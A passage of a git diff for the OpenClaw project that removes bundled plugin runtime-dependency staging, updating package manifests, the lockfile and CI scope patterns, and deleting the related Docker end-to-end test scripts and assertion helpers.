true, diff --git a/extensions/slack/package.json b/extensions/slack/package.json index 939c674cc49..f7760ea4346 100644 --- a/extensions/slack/package.json +++ b/extensions/slack/package.json @@ -36,9 +36,6 @@ "specifier": "./configured-state", "exportName": "hasSlackConfiguredState" } - }, - "bundle": { - "stageRuntimeDependencies": true } } } diff --git a/extensions/telegram/package.json b/extensions/telegram/package.json index 4789e82f16b..c00a4e55cd5 100644 --- a/extensions/telegram/package.json +++ b/extensions/telegram/package.json @@ -46,9 +46,6 @@ "specifier": "./configured-state", "exportName": "hasTelegramConfiguredState" } - }, - "bundle": { - "stageRuntimeDependencies": true } } } diff --git a/extensions/tokenjuice/manifest.test.ts b/extensions/tokenjuice/manifest.test.ts index 2d1cd9a4609..e832db790cd 100644 --- a/extensions/tokenjuice/manifest.test.ts +++ b/extensions/tokenjuice/manifest.test.ts @@ -3,11 +3,6 @@ import { describe, expect, it } from "vitest"; type TokenjuicePackageManifest = { dependencies?: Record; - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; }; type TokenjuicePluginManifest = { @@ -17,13 +12,12 @@ type TokenjuicePluginManifest = { }; describe("tokenjuice package manifest", () => { - it("opts into staging bundled runtime dependencies", () => { + it("keeps runtime dependencies in the package manifest", () => { const packageJson = JSON.parse( fs.readFileSync(new URL("./package.json", import.meta.url), "utf8"), ) as TokenjuicePackageManifest; expect(packageJson.dependencies?.tokenjuice).toBe("0.7.0"); - expect(packageJson.openclaw?.bundle?.stageRuntimeDependencies).toBe(true); }); it("declares runtime-neutral tool result middleware ownership in the manifest contract", () => { diff --git a/extensions/tokenjuice/package.json b/extensions/tokenjuice/package.json index cd822980c5d..43236db0389 100644 --- a/extensions/tokenjuice/package.json +++ b/extensions/tokenjuice/package.json @@ -12,9 +12,6 @@ "openclaw": { "extensions": [ "./index.ts" - ], - "bundle": { - "stageRuntimeDependencies": true - } + ] } } diff --git a/extensions/webhooks/package.json b/extensions/webhooks/package.json index a08dbf13766..d6f96726000 100644 --- a/extensions/webhooks/package.json +++ b/extensions/webhooks/package.json @@ -11,9 +11,6 @@ "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { - "bundle": { - "stageRuntimeDependencies": true - }, "extensions": [ "./index.ts" ] diff --git a/extensions/whatsapp/package.json b/extensions/whatsapp/package.json index c1ab61b95d7..a40556f6bdb 100644 --- a/extensions/whatsapp/package.json +++ b/extensions/whatsapp/package.json @@ -59,9 +59,6 @@ "compat": { "pluginApi": ">=2026.4.25" }, - "bundle": { - "stageRuntimeDependencies": true - }, "build": { "openclawVersion": "2026.4.25" }, diff --git a/knip.config.ts b/knip.config.ts index 055a134938a..598819c1e21 100644 --- a/knip.config.ts +++ b/knip.config.ts @@ -111,7 +111,7 @@ const config = { workspaces: { ".": { entry: rootEntries, - ignoreDependencies: ["@openclaw/*", "sqlite-vec"], + ignoreDependencies: ["@openclaw/*", "playwright-core", "sqlite-vec"], project: [ "src/**/*.ts!", "scripts/**/*.{js,mjs,cjs,ts,mts,cts}!", diff --git a/package.json b/package.json index 110968977c0..5cdfa626545 100644 --- a/package.json +++ b/package.json @@ -31,9 +31,6 @@ "!dist/.runtime-postbuildstamp", "!dist/**/*.map", "!dist/plugin-sdk/.tsbuildinfo", - "!dist/extensions/*/.openclaw-install-stage*/**", - "!dist/extensions/*/.openclaw-runtime-deps-*/**", - "!dist/extensions/*/.openclaw-runtime-deps-stamp.json", "!dist/extensions/node_modules/**", "!dist/extensions/*/node_modules/**", "!dist/extensions/qa-channel/**", @@ -57,7 +54,6 @@ "skills/", "scripts/npm-runner.mjs", "scripts/preinstall-package-manager-warning.mjs", - "scripts/lib/bundled-runtime-deps-install.mjs", "scripts/lib/package-dist-imports.mjs", "scripts/postinstall-bundled-plugins.mjs", "scripts/windows-cmd-helpers.mjs" @@ -1446,12 +1442,11 @@ "rtt": "node --import tsx scripts/rtt.ts", "runtime-sidecars:check": "node --import tsx scripts/generate-runtime-sidecar-paths-baseline.ts --check", "runtime-sidecars:gen": "node --import tsx scripts/generate-runtime-sidecar-paths-baseline.ts --write", - "stage:bundled-plugin-runtime-deps": "node scripts/stage-bundled-plugin-runtime-deps.mjs", "start": "node scripts/run-node.mjs", "test": "node scripts/test-projects.mjs", "test:all": "pnpm lint && pnpm build && pnpm test && pnpm test:e2e && pnpm test:live && pnpm test:docker:all", "test:auth:compat": "node scripts/run-vitest.mjs run --config test/vitest/vitest.gateway.config.ts src/gateway/server.auth.compat-baseline.test.ts src/gateway/client.test.ts src/gateway/reconnect-gating.test.ts src/gateway/protocol/connect-error-details.test.ts", - "test:build:bundled-runtime-deps": "node scripts/test-built-bundled-runtime-deps.mjs", + "test:build:bundled-runtime-deps": "node -e \"console.log('bundled plugin runtime dependency staging was removed; no-op')\"", "test:build:singleton": "node scripts/test-built-plugin-singleton.mjs", "test:build:status-message-runtime": "node scripts/test-built-status-message-runtime.mjs", "test:bundled": "node scripts/run-vitest.mjs run --config test/vitest/vitest.bundled.config.ts", @@ -1466,8 +1461,7 @@ "test:docker:agents-delete-shared-workspace": "bash scripts/e2e/agents-delete-shared-workspace-docker.sh", "test:docker:all": "node scripts/test-docker-all.mjs", "test:docker:browser-cdp-snapshot": "bash scripts/e2e/browser-cdp-snapshot-docker.sh", - "test:docker:bundled-channel-deps": "bash scripts/e2e/bundled-channel-runtime-deps-docker.sh", - "test:docker:bundled-channel-deps:fast": "OPENCLAW_BUNDLED_CHANNEL_SCENARIOS=0 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=1 OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO=1 OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO=1 bash scripts/e2e/bundled-channel-runtime-deps-docker.sh", + "test:docker:bundled-channel-deps:fast": "node -e \"console.log('bundled channel dependency staging was removed; no-op')\"", "test:docker:bundled-plugin-install-uninstall": "bash scripts/e2e/bundled-plugin-install-uninstall-docker.sh", "test:docker:cleanup": "bash scripts/test-cleanup-docker.sh", "test:docker:commitments-safety": "bash scripts/e2e/commitments-safety-docker.sh", @@ -1641,9 +1635,9 @@ "jszip": "^3.10.1", "markdown-it": "14.1.1", "openai": "^6.35.0", + "playwright-core": "1.59.1", "proxy-agent": "^8.0.1", "qrcode": "1.5.4", - "semver": "7.7.4", "sqlite-vec": "0.1.9", "tar": "7.5.13", "tslog": "^4.10.2", @@ -1746,41 +1740,5 @@ "@whiskeysockets/baileys@7.0.0-rc.9": "patches/@whiskeysockets__baileys@7.0.0-rc.9.patch", "@agentclientprotocol/claude-agent-acp@0.31.4": "patches/@agentclientprotocol__claude-agent-acp@0.31.4.patch" } - }, - "openclaw": { - "bundle": { - "mirroredRootRuntimeDependencies": [ - "@agentclientprotocol/sdk", - "@clack/prompts", - "@lydell/node-pty", - "@mariozechner/pi-ai", - "@mariozechner/pi-coding-agent", - "@modelcontextprotocol/sdk", - "ajv", - "chalk", - "chokidar", - "commander", - "croner", - "dotenv", - "global-agent", - "https-proxy-agent", - "jiti", - "json5", - "jszip", - "markdown-it", - "openai", - "qrcode", - "semver", - "sqlite-vec", - "tar", - "tslog", - "typebox", - "undici", - "web-push", - "ws", - "yaml", - "zod" - ] - } } } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 9ee9b881b59..ec59cdbf73a 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -111,15 +111,15 @@ importers: openai: specifier: ^6.35.0 version: 6.35.0(ws@8.20.0)(zod@4.4.1) + playwright-core: + specifier: 1.59.1 + version: 1.59.1 proxy-agent: specifier: ^8.0.1 version: 8.0.1 qrcode: specifier: 1.5.4 version: 1.5.4 - semver: - specifier: 7.7.4 - version: 7.7.4 sqlite-vec: specifier: 0.1.9 version: 0.1.9 diff --git a/scripts/ci-changed-scope.mjs b/scripts/ci-changed-scope.mjs index ab04bebca37..2ea75de63f1 100644 --- a/scripts/ci-changed-scope.mjs +++ b/scripts/ci-changed-scope.mjs @@ -46,7 +46,7 @@ const CONTROL_UI_I18N_SCOPE_RE = const NATIVE_ONLY_RE = /^(apps\/android\/|apps\/ios\/|apps\/macos\/|apps\/macos-mlx-tts\/|apps\/shared\/|Swabble\/|appcast\.xml$)/; const FAST_INSTALL_SMOKE_SCOPE_RE = - /^(Dockerfile$|\.npmrc$|package\.json$|pnpm-lock\.yaml$|pnpm-workspace\.yaml$|scripts\/ci-changed-scope\.mjs$|scripts\/postinstall-bundled-plugins\.mjs$|scripts\/e2e\/(?:Dockerfile(?:\.qr-import)?|agents-delete-shared-workspace-docker\.sh|gateway-network-docker\.sh|bundled-channel-runtime-deps-docker\.sh)$|src\/plugins\/bundled-runtime-deps\.ts$|extensions\/[^/]+\/(?:package\.json|openclaw\.plugin\.json)$|\.github\/workflows\/install-smoke\.yml$|\.github\/actions\/setup-node-env\/action\.yml$)/; + /^(Dockerfile$|\.npmrc$|package\.json$|pnpm-lock\.yaml$|pnpm-workspace\.yaml$|scripts\/ci-changed-scope\.mjs$|scripts\/postinstall-bundled-plugins\.mjs$|scripts\/e2e\/(?:Dockerfile(?:\.qr-import)?|agents-delete-shared-workspace-docker\.sh|gateway-network-docker\.sh)$|extensions\/[^/]+\/(?:package\.json|openclaw\.plugin\.json)$|\.github\/workflows\/install-smoke\.yml$|\.github\/actions\/setup-node-env\/action\.yml$)/; const FULL_INSTALL_SMOKE_SCOPE_RE = /^(Dockerfile$|\.npmrc$|package\.json$|pnpm-lock\.yaml$|pnpm-workspace\.yaml$|scripts\/ci-changed-scope\.mjs$|scripts\/install\.sh$|scripts\/test-install-sh-docker\.sh$|scripts\/docker\/|scripts\/e2e\/(?:Dockerfile(?:\.qr-import)?|qr-import-docker\.sh|bun-global-install-smoke\.sh)$|\.github\/workflows\/install-smoke\.yml$|\.github\/actions\/setup-node-env\/action\.yml$)/; const FAST_INSTALL_SMOKE_RUNTIME_SCOPE_RE = /^src\/(?:channels|gateway|plugin-sdk|plugins)\//; diff --git a/scripts/clawdock/README.md b/scripts/clawdock/README.md index 7936f3add5a..765bc4277c7 100644 --- a/scripts/clawdock/README.md +++ b/scripts/clawdock/README.md @@ -192,14 +192,13 @@ The `Dockerfile` supports two optional build args: volumes: - ${OPENCLAW_CONFIG_DIR}:/home/node/.openclaw - ${OPENCLAW_WORKSPACE_DIR}:/home/node/.openclaw/workspace - - openclaw-plugin-runtime-deps:/var/lib/openclaw/plugin-runtime-deps ``` This means: - `~/.openclaw/.env` is available inside the container at `/home/node/.openclaw/.env` — OpenClaw loads it automatically as the global env fallback - `~/.openclaw/openclaw.json` is available at `/home/node/.openclaw/openclaw.json` — the gateway watches it and hot-reloads most changes -- Generated bundled plugin runtime deps and mirrors live in the `openclaw-plugin-runtime-deps` Docker volume at `/var/lib/openclaw/plugin-runtime-deps`, not in the host config bind mount +- Downloadable plugin packages and install records live under the mounted OpenClaw home - No need to add API keys to `docker-compose.yml` or configure anything inside the container - Keys survive `clawdock-update`, `clawdock-rebuild`, and `clawdock-clean` because they live on the host diff --git a/scripts/copy-bundled-plugin-metadata.mjs b/scripts/copy-bundled-plugin-metadata.mjs index a7eb8f4098a..2d7cb985517 100644 --- a/scripts/copy-bundled-plugin-metadata.mjs +++ b/scripts/copy-bundled-plugin-metadata.mjs @@ -363,8 +363,7 @@ export function copyBundledPluginMetadata(params = {}) { manifest, generatedChannelConfigsByPlugin.get(manifest.id), ); - // Generated skill assets live under a dedicated dist-owned directory. Runtime - // dependency staging owns dist plugin node_modules; do not remove it here. + // Generated skill assets live under a dedicated dist-owned directory. removePathIfExists(path.join(distPluginDir, GENERATED_BUNDLED_SKILLS_DIR)); const copiedSkills = copyDeclaredPluginSkillPaths({ manifest: manifestWithGeneratedChannelConfigs, diff --git a/scripts/docker/cleanup-smoke/Dockerfile b/scripts/docker/cleanup-smoke/Dockerfile index 9ae0fef7aed..b7b37d2ecb8 100644 --- a/scripts/docker/cleanup-smoke/Dockerfile +++ b/scripts/docker/cleanup-smoke/Dockerfile @@ -20,7 +20,6 @@ COPY packages ./packages COPY extensions ./extensions COPY patches ./patches COPY scripts/postinstall-bundled-plugins.mjs scripts/preinstall-package-manager-warning.mjs scripts/npm-runner.mjs scripts/windows-cmd-helpers.mjs ./scripts/ -COPY scripts/lib/bundled-runtime-deps-install.mjs ./scripts/lib/bundled-runtime-deps-install.mjs COPY scripts/lib/package-dist-imports.mjs ./scripts/lib/package-dist-imports.mjs RUN --mount=type=cache,id=openclaw-pnpm-store,target=/root/.local/share/pnpm/store,sharing=locked \ corepack enable \ diff --git a/scripts/e2e/bundled-channel-runtime-deps-docker.sh b/scripts/e2e/bundled-channel-runtime-deps-docker.sh deleted file mode 100644 index 95912768ea4..00000000000 --- a/scripts/e2e/bundled-channel-runtime-deps-docker.sh +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env bash -# Runs bundled plugin runtime-dependency Docker scenarios from a mounted OpenClaw -# npm tarball. The default image is a clean runner; each scenario installs the -# tarball so package install behavior is what gets tested. -set -euo pipefail - -ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" -source "$ROOT_DIR/scripts/lib/docker-e2e-image.sh" -source "$ROOT_DIR/scripts/lib/docker-e2e-package.sh" -source "$ROOT_DIR/scripts/e2e/lib/bundled-channel-runtime-deps-runner.sh" -source "$ROOT_DIR/scripts/e2e/lib/bundled-channel/channel.sh" -source "$ROOT_DIR/scripts/e2e/lib/bundled-channel/root-owned.sh" -source "$ROOT_DIR/scripts/e2e/lib/bundled-channel/setup-entry.sh" -source "$ROOT_DIR/scripts/e2e/lib/bundled-channel/disabled-config.sh" -source "$ROOT_DIR/scripts/e2e/lib/bundled-channel/update.sh" -source "$ROOT_DIR/scripts/e2e/lib/bundled-channel/load-failure.sh" - -IMAGE_NAME="$(docker_e2e_resolve_image "openclaw-bundled-channel-deps-e2e" OPENCLAW_BUNDLED_CHANNEL_DEPS_E2E_IMAGE)" -UPDATE_BASELINE_VERSION="${OPENCLAW_BUNDLED_CHANNEL_UPDATE_BASELINE_VERSION:-2026.4.20}" -DOCKER_TARGET="${OPENCLAW_BUNDLED_CHANNEL_DOCKER_TARGET:-bare}" -HOST_BUILD="${OPENCLAW_BUNDLED_CHANNEL_HOST_BUILD:-1}" -PACKAGE_TGZ="${OPENCLAW_CURRENT_PACKAGE_TGZ:-}" -RUN_CHANNEL_SCENARIOS="${OPENCLAW_BUNDLED_CHANNEL_SCENARIOS:-1}" -RUN_UPDATE_SCENARIO="${OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO:-1}" -RUN_ROOT_OWNED_SCENARIO="${OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO:-1}" -RUN_SETUP_ENTRY_SCENARIO="${OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO:-1}" -RUN_LOAD_FAILURE_SCENARIO="${OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO:-1}" -RUN_DISABLED_CONFIG_SCENARIO="${OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO:-1}" -CHANNEL_ONLY="${OPENCLAW_BUNDLED_CHANNEL_ONLY:-}" -DOCKER_RUN_TIMEOUT="${OPENCLAW_BUNDLED_CHANNEL_DOCKER_RUN_TIMEOUT:-900s}" -DOCKER_UPDATE_RUN_TIMEOUT="${OPENCLAW_BUNDLED_CHANNEL_UPDATE_DOCKER_RUN_TIMEOUT:-${OPENCLAW_BUNDLED_CHANNEL_DOCKER_RUN_TIMEOUT:-2400s}}" - -docker_e2e_build_or_reuse "$IMAGE_NAME" bundled-channel-deps "$ROOT_DIR/scripts/e2e/Dockerfile" "$ROOT_DIR" "$DOCKER_TARGET" - -prepare_package_tgz() { - if [ -n "$PACKAGE_TGZ" ]; then - PACKAGE_TGZ="$(docker_e2e_prepare_package_tgz bundled-channel-deps "$PACKAGE_TGZ")" - return 0 - fi - if [ "$HOST_BUILD" = "0" ] && [ -z "${OPENCLAW_CURRENT_PACKAGE_TGZ:-}" ]; then - echo "OPENCLAW_BUNDLED_CHANNEL_HOST_BUILD=0 requires OPENCLAW_CURRENT_PACKAGE_TGZ" >&2 - exit 1 - fi - PACKAGE_TGZ="$(docker_e2e_prepare_package_tgz bundled-channel-deps)" -} - -prepare_package_tgz -docker_e2e_package_mount_args "$PACKAGE_TGZ" -docker_e2e_harness_mount_args - -run_bundled_channel_runtime_dep_scenarios diff --git a/scripts/e2e/lib/bundled-channel-runtime-deps-runner.sh b/scripts/e2e/lib/bundled-channel-runtime-deps-runner.sh deleted file mode 100644 index 8ddf72d7d4e..00000000000 --- a/scripts/e2e/lib/bundled-channel-runtime-deps-runner.sh +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env bash -# -# Scenario selection for bundled plugin runtime-dependency Docker tests. -# The large scenario bodies stay in the owning test script; this helper keeps -# env flag parsing and dispatch in one small, reviewable place. - -bundled_channel_state_script_b64() { - docker_e2e_test_state_shell_b64 "$1" empty -} - -run_bundled_channel_container() { - local label="$1" - local timeout_value="$2" - shift 2 - run_logged_print "$label" timeout "$timeout_value" docker run --rm \ - "${DOCKER_E2E_HARNESS_ARGS[@]}" \ - "$@" -} - -run_bundled_channel_container_with_state() { - local label="$1" - local timeout_value="$2" - local state_label="$3" - shift 3 - local state_script_b64 - state_script_b64="$(bundled_channel_state_script_b64 "$state_label")" - run_bundled_channel_container "$label" "$timeout_value" \ - -e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \ - -e "OPENCLAW_TEST_STATE_SCRIPT_B64=$state_script_b64" \ - "$@" -} - -run_bundled_channel_container_with_state_heartbeat() { - local label="$1" - local heartbeat="$2" - local timeout_value="$3" - local state_label="$4" - shift 4 - local state_script_b64 - state_script_b64="$(bundled_channel_state_script_b64 "$state_label")" - run_logged_print_heartbeat "$label" "$heartbeat" timeout "$timeout_value" docker run --rm \ - "${DOCKER_E2E_HARNESS_ARGS[@]}" \ - -e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \ - -e "OPENCLAW_TEST_STATE_SCRIPT_B64=$state_script_b64" \ - "$@" -} - -run_bundled_channel_runtime_dep_scenarios() { - if [ "$RUN_CHANNEL_SCENARIOS" != "0" ]; then - IFS=',' read -r -a CHANNEL_SCENARIOS <<<"${OPENCLAW_BUNDLED_CHANNELS:-${CHANNEL_ONLY:-telegram,discord,slack,feishu,memory-lancedb}}" - for channel_scenario in "${CHANNEL_SCENARIOS[@]}"; do - channel_scenario="${channel_scenario//[[:space:]]/}" - [ -n "$channel_scenario" ] || continue - case "$channel_scenario" in - telegram) run_channel_scenario telegram grammy ;; - discord) run_channel_scenario discord discord-api-types ;; - slack) run_channel_scenario slack @slack/web-api ;; - feishu) run_channel_scenario feishu @larksuiteoapi/node-sdk ;; - memory-lancedb) run_channel_scenario memory-lancedb @lancedb/lancedb ;; - *) - echo "Unsupported OPENCLAW_BUNDLED_CHANNELS entry: $channel_scenario" >&2 - exit 1 - ;; - esac - done - fi - - if [ "$RUN_UPDATE_SCENARIO" != "0" ]; then - run_update_scenario - fi - if [ "$RUN_ROOT_OWNED_SCENARIO" != "0" ]; then - run_root_owned_global_scenario - fi - if [ "$RUN_SETUP_ENTRY_SCENARIO" != "0" ]; then - run_setup_entry_scenario - fi - if [ "$RUN_DISABLED_CONFIG_SCENARIO" != "0" ]; then - run_disabled_config_scenario - fi - if [ "$RUN_LOAD_FAILURE_SCENARIO" != "0" ]; then - run_load_failure_scenario - fi -} diff --git a/scripts/e2e/lib/bundled-channel/assert-channel-status.mjs b/scripts/e2e/lib/bundled-channel/assert-channel-status.mjs deleted file mode 100644 index 6a608149153..00000000000 --- a/scripts/e2e/lib/bundled-channel/assert-channel-status.mjs +++ /dev/null @@ -1,22 +0,0 @@ -import fs from "node:fs"; - -const raw = JSON.parse(fs.readFileSync(process.argv[2], "utf8")); -const payload = raw.result ?? raw.data ?? raw; -const channel = process.argv[3]; -const dump = () => JSON.stringify(raw, null, 2).slice(0, 4000); - -const hasChannelMeta = Array.isArray(payload.channelMeta) - ? payload.channelMeta.some((entry) => entry?.id === channel) - : Boolean(payload.channelMeta?.[channel]); -if (!hasChannelMeta) { - throw new Error(`missing channelMeta.${channel}\n${dump()}`); -} -if (!payload.channels || !payload.channels[channel]) { - throw new Error(`missing channels.${channel}\n${dump()}`); -} -const accounts = payload.channelAccounts?.[channel]; -if (!Array.isArray(accounts) || accounts.length === 0) { - throw new Error(`missing channelAccounts.${channel}\n${dump()}`); -} - -console.log(`${channel} channel plugin visible`); diff --git a/scripts/e2e/lib/bundled-channel/assert-no-staged-manifest-spec.mjs b/scripts/e2e/lib/bundled-channel/assert-no-staged-manifest-spec.mjs deleted file mode 100644 index 634f4f0f5a3..00000000000 --- a/scripts/e2e/lib/bundled-channel/assert-no-staged-manifest-spec.mjs +++ /dev/null @@ -1,44 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; - -const stageDir = process.argv[2]; -const depName = process.argv[3]; -const manifestName = ".openclaw-runtime-deps.json"; -const matches = []; - -function visit(dir) { - let entries; - try { - entries = fs.readdirSync(dir, { withFileTypes: true }); - } catch { - return; - } - for (const entry of entries) { - const fullPath = path.join(dir, entry.name); - if (entry.isDirectory()) { - visit(fullPath); - continue; - } - if (entry.name !== manifestName) { - continue; - } - let parsed; - try { - parsed = JSON.parse(fs.readFileSync(fullPath, "utf8")); - } catch { - continue; - } - const specs = Array.isArray(parsed.specs) ? parsed.specs : []; - for (const spec of specs) { - if (typeof spec === "string" && spec.startsWith(`${depName}@`)) { - matches.push(`${fullPath}: ${spec}`); - } - } - } -} - -visit(stageDir); -if (matches.length > 0) { - process.stderr.write(`${matches.join("\n")}\n`); - process.exit(1); -} diff --git a/scripts/e2e/lib/bundled-channel/assert-update-result.mjs b/scripts/e2e/lib/bundled-channel/assert-update-result.mjs deleted file mode 100644 index 9a2b6a3bc63..00000000000 --- a/scripts/e2e/lib/bundled-channel/assert-update-result.mjs +++ /dev/null @@ -1,26 +0,0 @@ -import fs from "node:fs"; - -const payload = JSON.parse(fs.readFileSync(process.argv[2], "utf8")); -const expectedBefore = process.argv[3]; -const expectedAfter = process.argv[4]; -if (payload.status !== "ok") { - throw new Error(`expected update status ok, got ${JSON.stringify(payload.status)}`); -} -if (expectedBefore && (payload.before?.version ?? null) !== expectedBefore) { - throw new Error( - `expected before.version ${expectedBefore}, got ${JSON.stringify(payload.before?.version)}`, - ); -} -if ((payload.after?.version ?? null) !== expectedAfter) { - throw new Error( - `expected after.version ${expectedAfter}, got ${JSON.stringify(payload.after?.version)}`, - ); -} -const steps = Array.isArray(payload.steps) ? payload.steps : []; -const doctor = steps.find((step) => step?.name === "openclaw doctor"); -if (!doctor) { - throw new Error("missing openclaw doctor step"); -} -if (Number(doctor.exitCode ?? 1) !== 0) { - throw new Error(`openclaw doctor step failed: ${JSON.stringify(doctor)}`); -} diff --git a/scripts/e2e/lib/bundled-channel/channel.sh b/scripts/e2e/lib/bundled-channel/channel.sh deleted file mode 100644 index 69d8e14fbc2..00000000000 --- a/scripts/e2e/lib/bundled-channel/channel.sh +++ /dev/null @@ -1,224 +0,0 @@ -#!/usr/bin/env bash -# -# Runs one bundled plugin channel runtime-dependency scenario. -# Sourced by scripts/e2e/bundled-channel-runtime-deps-docker.sh. - -run_channel_scenario() { - local channel="$1" - local dep_sentinel="$2" - - echo "Running bundled $channel runtime deps Docker E2E..." - run_bundled_channel_container_with_state \ - "bundled-channel-deps-$channel" \ - "$DOCKER_RUN_TIMEOUT" \ - "bundled-channel-deps-$channel" \ - -e OPENCLAW_CHANNEL_UNDER_TEST="$channel" \ - -e OPENCLAW_DEP_SENTINEL="$dep_sentinel" \ - "${DOCKER_E2E_PACKAGE_ARGS[@]}" \ - -i "$IMAGE_NAME" bash -s <<'EOF' -set -euo pipefail - -source scripts/lib/openclaw-e2e-instance.sh -source scripts/e2e/lib/bundled-channel/common.sh -openclaw_e2e_eval_test_state_from_b64 "${OPENCLAW_TEST_STATE_SCRIPT_B64:?missing OPENCLAW_TEST_STATE_SCRIPT_B64}" -export NPM_CONFIG_PREFIX="$HOME/.npm-global" -export PATH="$NPM_CONFIG_PREFIX/bin:$PATH" -export OPENAI_API_KEY="sk-openclaw-bundled-channel-deps-e2e" -export OPENCLAW_NO_ONBOARD=1 - -TOKEN="bundled-channel-deps-token" -PORT="18789" -CHANNEL="${OPENCLAW_CHANNEL_UNDER_TEST:?missing OPENCLAW_CHANNEL_UNDER_TEST}" -DEP_SENTINEL="${OPENCLAW_DEP_SENTINEL:?missing OPENCLAW_DEP_SENTINEL}" -gateway_pid="" - -terminate_gateways() { - openclaw_e2e_terminate_gateways "${gateway_pid:-}" -} - -cleanup() { - terminate_gateways -} -trap cleanup EXIT - -bundled_channel_install_package /tmp/openclaw-install.log - -command -v openclaw >/dev/null -package_root="$(openclaw_e2e_package_root)" -openclaw_e2e_assert_package_extensions "$package_root" telegram discord slack feishu memory-lancedb - -if [ -d "$package_root/dist/extensions/$CHANNEL/node_modules" ]; then - echo "$CHANNEL runtime deps should not be preinstalled in package" >&2 - find "$package_root/dist/extensions/$CHANNEL/node_modules" -maxdepth 2 -type f | head -20 >&2 || true - exit 1 -fi - -start_gateway() { - local log_file="$1" - local skip_sidecars="${2:-0}" - : >"$log_file" - if [ "$skip_sidecars" = "1" ]; then - OPENCLAW_SKIP_CHANNELS=1 OPENCLAW_SKIP_PROVIDERS=1 \ - openclaw gateway --port "$PORT" --bind loopback --allow-unconfigured >"$log_file" 2>&1 & - else - openclaw gateway --port "$PORT" --bind loopback --allow-unconfigured >"$log_file" 2>&1 & - fi - gateway_pid="$!" - - # Cold bundled dependency staging can exceed 60s under 10-way Docker aggregate load. - for _ in $(seq 1 1200); do - if grep -Eq "listening on ws://|\\[gateway\\] http server listening|\\[gateway\\] ready( \\(|$)" "$log_file"; then - return 0 - fi - if ! kill -0 "$gateway_pid" 2>/dev/null; then - echo "gateway exited unexpectedly" >&2 - cat "$log_file" >&2 - exit 1 - fi - sleep 0.25 - done - - echo "timed out waiting for gateway" >&2 - cat "$log_file" >&2 - exit 1 -} - -stop_gateway() { - terminate_gateways - gateway_pid="" -} - -wait_for_gateway_health() { - local log_file="${1:-}" - if [ -n "${gateway_pid:-}" ] && kill -0 "$gateway_pid" 2>/dev/null; then - return 0 - fi - echo "gateway process exited after ready marker" >&2 - if [ -n "$log_file" ]; then - cat "$log_file" >&2 - fi - return 1 -} - -parse_channel_status_json() { - local out="$1" - local channel="$2" - node scripts/e2e/lib/bundled-channel/assert-channel-status.mjs "$out" "$channel" -} - -assert_channel_status() { - local channel="$1" - if [ "$channel" = "memory-lancedb" ]; then - echo "memory-lancedb plugin activation verified by dependency sentinel" - return 0 - fi - local out="/tmp/openclaw-channel-status-$channel.json" - local err="/tmp/openclaw-channel-status-$channel.err" - local parse_err="/tmp/openclaw-channel-status-$channel.parse.err" - local parse_out="/tmp/openclaw-channel-status-$channel.parse.out" - for _ in $(seq 1 30); do - if openclaw gateway call channels.status \ - --url "ws://127.0.0.1:$PORT" \ - --token "$TOKEN" \ - --timeout 10000 \ - --json \ - --params '{"probe":false}' >"$out" 2>"$err"; then - if parse_channel_status_json "$out" "$channel" >"$parse_out" 2>"$parse_err"; then - cat "$parse_out" - return 0 - fi - fi - if grep -Eq "\\[gateway\\] ready \\(.*\\b$channel\\b" /tmp/openclaw-"$channel"-*.log 2>/dev/null; then - echo "$channel channel plugin visible in gateway ready log" - return 0 - fi - sleep 2 - done - if [ ! -s "$out" ]; then - cat "$err" >&2 || true - else - cat "$parse_err" >&2 || true - cat "$out" >&2 || true - fi - cat /tmp/openclaw-"$channel"-*.log >&2 2>/dev/null || true - return 1 -} - -assert_installed_once() { - local log_file="$1" - local channel="$2" - local dep_path="$3" - local count - count="$(grep -Ec "\\[plugins\\] $channel installed bundled runtime deps( in [0-9]+ms)?:" "$log_file" || true)" - if [ "$count" -eq 1 ]; then - return 0 - fi - if [ "$count" -eq 0 ] && [ -n "$(bundled_channel_find_external_dep_package "$dep_path")" ]; then - return 0 - fi - echo "expected one runtime deps install log or staged dependency sentinel for $channel, got $count log lines" >&2 - cat "$log_file" >&2 - find "$(bundled_channel_stage_root)" -maxdepth 12 -type f | sort | head -120 >&2 || true - exit 1 -} - -assert_not_installed() { - local log_file="$1" - local channel="$2" - if grep -Eq "\\[plugins\\] $channel installed bundled runtime deps( in [0-9]+ms)?:" "$log_file"; then - echo "expected no runtime deps reinstall for $channel" >&2 - cat "$log_file" >&2 - exit 1 - fi -} - -assert_dep_sentinel() { - local channel="$1" - local dep_path="$2" - bundled_channel_assert_dep_available "$channel" "$dep_path" "$package_root" -} - -assert_no_dep_sentinel() { - local channel="$1" - local dep_path="$2" - bundled_channel_assert_no_dep_available "$channel" "$dep_path" "$package_root" -} - -assert_no_install_stage() { - local channel="$1" - local stage="$package_root/dist/extensions/$channel/.openclaw-install-stage" - if [ -e "$stage" ]; then - echo "install stage should be cleaned after activation for $channel" >&2 - find "$stage" -maxdepth 4 -type f | sort | head -80 >&2 || true - exit 1 - fi -} - -echo "Starting baseline gateway with OpenAI configured..." -bundled_channel_write_config baseline -start_gateway "/tmp/openclaw-$CHANNEL-baseline.log" 1 -wait_for_gateway_health "/tmp/openclaw-$CHANNEL-baseline.log" -stop_gateway -assert_no_dep_sentinel "$CHANNEL" "$DEP_SENTINEL" - -echo "Enabling $CHANNEL by config edit, then restarting gateway..." -bundled_channel_write_config 